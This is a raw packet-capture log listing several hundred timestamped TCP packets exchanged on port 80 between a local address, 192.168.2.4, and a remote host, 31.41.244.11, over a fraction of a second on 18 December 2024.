Dec 18, 2024 17:08:10.544512987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.544564962 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.546293974 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.546350956 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.546415091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.546466112 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.548331022 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.548382044 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.548460960 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.548516035 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.550308943 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.550354958 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.550414085 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.550465107 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.552402020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.552450895 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.552532911 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.552570105 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.554409027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.554466009 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.554531097 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.554580927 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.556451082 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.556504011 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.556569099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.556617022 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.558617115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.558669090 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.558732986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.558784008 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.560601950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.560658932 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.560725927 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.560775042 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.562622070 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.562670946 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.562753916 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.562800884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.564681053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.564744949 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.564826012 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.564874887 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.566865921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.566915035 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.567028046 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.567076921 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.568865061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.568928003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.568964005 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.569005966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.570899963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.570957899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.571021080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.571065903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.572997093 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.573050976 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.573168039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.573215008 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.575037003 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.575093031 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.575135946 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.575186968 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.577145100 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.577188015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.577249050 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.577295065 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.579113007 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.579159021 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.579205990 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.579246998 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.668860912 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.668952942 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.669014931 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.669069052 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.669776917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.669835091 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.669972897 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.670018911 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.671647072 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.671694040 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.671721935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.671798944 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.673018932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.673070908 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.673167944 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.673217058 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.674691916 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.674741030 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.674830914 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.674880981 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.676631927 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.676682949 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.676707029 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.676780939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.678060055 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.678114891 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.678174019 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.678216934 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.679584980 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.679637909 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.679722071 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.679771900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.681303024 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.681364059 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.681451082 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.681502104 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.682862997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.682912111 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.682977915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.683072090 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.684297085 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.684346914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.684427023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.684473038 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.685882092 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.685975075 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.686039925 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.686125040 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.687347889 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.687391996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.687470913 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.687520981 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.688810110 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.688939095 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.688976049 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.688997030 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.690538883 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.690635920 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.690644979 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.690681934 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.692065954 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.692118883 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.692199945 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.692251921 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.693968058 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.694019079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.694076061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.694125891 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.695091009 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.695179939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.695185900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.695231915 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.696754932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.696803093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.696856022 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.696911097 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.697803020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.697856903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.697886944 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.697932959 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.699035883 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.699085951 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.699165106 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.699214935 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.700706005 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.700905085 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.701030016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.701078892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.701986074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.702081919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.702116966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.702132940 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.703087091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.703135014 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.703200102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.703442097 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.704410076 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.704472065 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.704550982 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.704668045 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.705842972 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.705889940 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.705920935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.705970049 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.707139969 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.707191944 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.707345963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.707400084 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.708518982 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.708569050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.708703041 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.708772898 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.709855080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.709976912 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.709980965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.710031033 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.711163044 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.711272955 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.711302042 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.711354971 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.712480068 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.712531090 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.712609053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.712657928 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.713927031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.714036942 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.714046955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.714101076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.715275049 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.715369940 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.715416908 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.715472937 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.716593027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.716645002 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.716696978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.716825962 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.717969894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.718018055 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.718086004 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.718128920 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.719310045 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.719424963 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.719449043 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.719504118 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.720660925 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.720716953 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.720787048 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.720849991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.722018957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.722064972 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.722141981 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.722192049 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.723361015 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.723412991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.723637104 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.723686934 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.724751949 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.724816084 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.724914074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.724965096 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.726136923 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.726193905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.726232052 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.726281881 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.727435112 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.727492094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.727582932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.727632999 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.728785038 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.728842974 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.728935957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.728987932 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.730590105 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.730654001 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.730758905 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.730817080 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.732188940 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.732254028 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.732291937 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.732341051 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.733228922 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.733288050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.733369112 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.733424902 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.734987020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.735050917 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.735172033 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.735229969 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.736358881 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.736421108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.736511946 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.736577034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.737749100 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.737808943 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.737842083 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.737893105 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.738886118 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.738945007 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.739027023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.739079952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.740119934 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.740175009 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.740248919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.740299940 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.741409063 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.741472006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.741527081 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.741576910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.742662907 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.742717028 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.742780924 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.742835999 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.743757963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.743819952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.860822916 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.860888004 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.860934019 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.860970974 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.861161947 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.861252069 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.861332893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.861413002 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.862221003 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.862301111 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.862406015 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.862466097 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.863476038 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.863534927 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.863565922 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.863615036 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.864458084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.864557981 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.864594936 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.864654064 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.865583897 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.865641117 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.865726948 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.865787029 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.866811037 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.866869926 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.866880894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.866935015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.867741108 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.867799997 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.867928982 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.867985010 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.868974924 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.869028091 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.869075060 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.869129896 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.869832993 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.869889975 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.869986057 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.870037079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.871301889 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.871380091 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.871460915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.871520996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.872294903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.872348070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.872411966 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.872473001 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.873406887 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.873481989 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.873549938 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.874352932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.874412060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.874428034 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.874476910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.875284910 CET	80	49749	31.41.244.11	192.168.2.4
